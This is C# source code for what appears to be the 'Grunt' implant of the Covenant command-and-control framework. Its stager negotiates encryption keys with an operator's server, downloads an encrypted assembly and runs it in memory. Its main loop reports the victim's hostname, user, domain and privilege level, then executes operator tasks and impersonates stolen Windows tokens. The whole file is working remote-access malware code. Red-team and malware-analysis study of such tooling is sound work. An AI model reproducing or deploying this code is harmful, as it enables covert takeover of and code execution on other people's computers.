public static void Execute(string CovenantURI, string GUID, Aes SessionKey, TcpClient client) { try { int Delay = Convert.ToInt32(@"{{REPLACE_DELAY}}"); int Jitter = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}"); int ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}"); DateTime KillDate = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}")); string ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n"); string ProfileReadFormat = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n"); string Hostname = Dns.GetHostName(); string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString(); foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName())) { if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) { IPAddress = a.ToString(); break; } } string OperatingSystem = Environment.OSVersion.ToString(); string Process = System.Diagnostics.Process.GetCurrentProcess().ProcessName; int Integrity = 2; if (Environment.UserName.ToLower() == "system") { Integrity = 4; } else { var identity = WindowsIdentity.GetCurrent(); if (identity.Owner != identity.User) { Integrity = 3; } } string UserDomainName = Environment.UserDomainName; string UserName = Environment.UserName; string RegisterBody = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }"; BridgeMessenger baseMessenger = new BridgeMessenger(CovenantURI, GUID, ProfileWriteFormat); baseMessenger.client = client; baseMessenger.stream = client.GetStream(); TaskingMessenger messenger = new TaskingMessenger ( new MessageCrafter(GUID, SessionKey), baseMessenger, new Profile(ProfileWriteFormat, ProfileReadFormat, GUID) ); messenger.WriteTaskingMessage(RegisterBody); messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message); try { // A blank upward write, this helps in some cases with an HTTP Proxy messenger.WriteTaskingMessage(""); } catch (Exception) { } List <KeyValuePair <string, Thread> > Tasks = new List <KeyValuePair <string, Thread> >(); WindowsImpersonationContext impersonationContext = null; Random rnd = new Random(); int ConnectAttemptCount = 0; bool alive = true; while (alive) { int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00))); if (rnd.Next(2) == 0) { change = -change; } Thread.Sleep((Delay + change) * 1000); try { GruntTaskingMessage message = messenger.ReadTaskingMessage(); if (message == null) { ConnectAttemptCount++; } else { ConnectAttemptCount = 0; string output = ""; if (message.Type == GruntTaskingType.SetDelay || message.Type == GruntTaskingType.SetJitter || message.Type == GruntTaskingType.SetConnectAttempts) { if (int.TryParse(message.Message, out int val)) { if (message.Type == GruntTaskingType.SetDelay) { Delay = val; output += "Set Delay: " + Delay; } else if (message.Type == GruntTaskingType.SetJitter) { Jitter = val; output += "Set Jitter: " + Jitter; } else if (message.Type == GruntTaskingType.SetConnectAttempts) { ConnectAttempts = val; output += "Set ConnectAttempts: " + ConnectAttempts; } } else { output += "Error parsing: " + message.Message; } messenger.WriteTaskingMessage(output, message.Name); } else if (message.Type == GruntTaskingType.SetKillDate) { if (DateTime.TryParse(message.Message, out DateTime date)) { KillDate = date; output += "Set KillDate: " + KillDate.ToString(); } else { output += "Error parsing: " + message.Message; } } else if (message.Type == GruntTaskingType.Exit) { output += "Exited"; messenger.WriteTaskingMessage(output, message.Name); return; } else if (message.Type == GruntTaskingType.Tasks) { if (!Tasks.Where(J => J.Value.IsAlive).Any()) { output += "No active tasks!"; } else { output += "Task Status" + Environment.NewLine; output += "---- ------" + Environment.NewLine; output += String.Join(Environment.NewLine, Tasks.Where(T => T.Value.IsAlive).Select(T => T.Key + " Active").ToArray()); } messenger.WriteTaskingMessage(output, message.Name); } else if (message.Type == GruntTaskingType.TaskKill) { var matched = Tasks.Where(T => T.Value.IsAlive && T.Key.ToLower() == message.Message.ToLower()); if (!matched.Any()) { output += "No task with name: " + message.Message; } else { KeyValuePair <string, Thread> t = matched.First(); t.Value.Abort(); output += "Task: " + t.Key + " killed!"; } messenger.WriteTaskingMessage(output, message.Name); } else if (message.Token) { if (impersonationContext != null) { impersonationContext.Undo(); } IntPtr impersonatedToken = IntPtr.Zero; Thread t = new Thread(() => impersonatedToken = TaskExecute(messenger, message)); t.Start(); Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t)); bool completed = t.Join(5000); if (completed && impersonatedToken != IntPtr.Zero) { try { WindowsIdentity identity = new WindowsIdentity(impersonatedToken); impersonationContext = identity.Impersonate(); } catch (ArgumentException) { } } else { impersonationContext = null; } } else { Thread t = new Thread(() => TaskExecute(messenger, message)); t.Start(); Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t)); } } } catch (ObjectDisposedException e) { ConnectAttemptCount++; messenger.WriteTaskingMessage(""); } catch (Exception e) { ConnectAttemptCount++; Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace); } if (ConnectAttemptCount >= ConnectAttempts) { return; } if (KillDate.CompareTo(DateTime.Now) < 0) { return; } } } catch (Exception e) { Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace); } }
public void ExecuteStager() { try { string CovenantURI = @"{{REPLACE_COVENANT_URI}}"; string ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n"); string ProfileReadFormat = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n"); Random random = new Random(); string aGUID = @"{{REPLACE_GRUNT_GUID}}"; string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10); byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}"); string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}"; Aes SetupAESKey = Aes.Create(); SetupAESKey.Mode = CipherMode.CBC; SetupAESKey.Padding = PaddingMode.PKCS7; SetupAESKey.Key = SetupKeyBytes; SetupAESKey.GenerateIV(); HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes); RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters()); byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false)); byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length); byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey); string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash)); string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body)); BridgeMessenger messenger = new BridgeMessenger(CovenantURI, GUID, ProfileWriteFormat); messenger.Connect(); messenger.Write(String.Format(ProfileWriteFormat, transformedResponse, GUID)); string Stage0Response = messenger.Read().Message; string extracted = Parse(Stage0Response, ProfileReadFormat)[0]; extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); List <string> parsed = Parse(extracted, MessageFormat); string iv64str = parsed[3]; string message64str = parsed[4]; string hash64str = parsed[5]; byte[] messageBytes = Convert.FromBase64String(message64str); if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } SetupAESKey.IV = Convert.FromBase64String(iv64str); byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true); Aes SessionKey = Aes.Create(); SessionKey.Mode = CipherMode.CBC; SessionKey.Padding = PaddingMode.PKCS7; SessionKey.Key = FullyDecrypted; SessionKey.GenerateIV(); hmac = new HMACSHA256(SessionKey.Key); byte[] challenge1 = new byte[4]; RandomNumberGenerator rng = RandomNumberGenerator.Create(); rng.GetBytes(challenge1); byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length); hash = hmac.ComputeHash(EncryptedChallenge1); string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash)); transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body)); string formatted = String.Format(ProfileWriteFormat, transformedResponse, GUID); messenger.Write(formatted); string Stage1Response = messenger.Read().Message; extracted = Parse(Stage1Response, ProfileReadFormat)[0]; extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); parsed = Parse(extracted, MessageFormat); iv64str = parsed[3]; message64str = parsed[4]; hash64str = parsed[5]; messageBytes = Convert.FromBase64String(message64str); if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } SessionKey.IV = Convert.FromBase64String(iv64str); byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); byte[] challenge1Test = new byte[4]; byte[] challenge2 = new byte[4]; Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4); Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4); if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; } SessionKey.GenerateIV(); byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length); hash = hmac.ComputeHash(EncryptedChallenge2); string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash)); transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body)); messenger.Write(String.Format(ProfileWriteFormat, transformedResponse, GUID)); string Stage2Response = messenger.Read().Message; extracted = Parse(Stage2Response, ProfileReadFormat)[0]; extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); parsed = Parse(extracted, MessageFormat); iv64str = parsed[3]; message64str = parsed[4]; hash64str = parsed[5]; messageBytes = Convert.FromBase64String(message64str); if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } SessionKey.IV = Convert.FromBase64String(iv64str); byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); Assembly gruntAssembly = Assembly.Load(DecryptedAssembly); gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, GUID, SessionKey, messenger.client }); } catch (Exception e) { Console.Error.WriteLine(e.Message); } }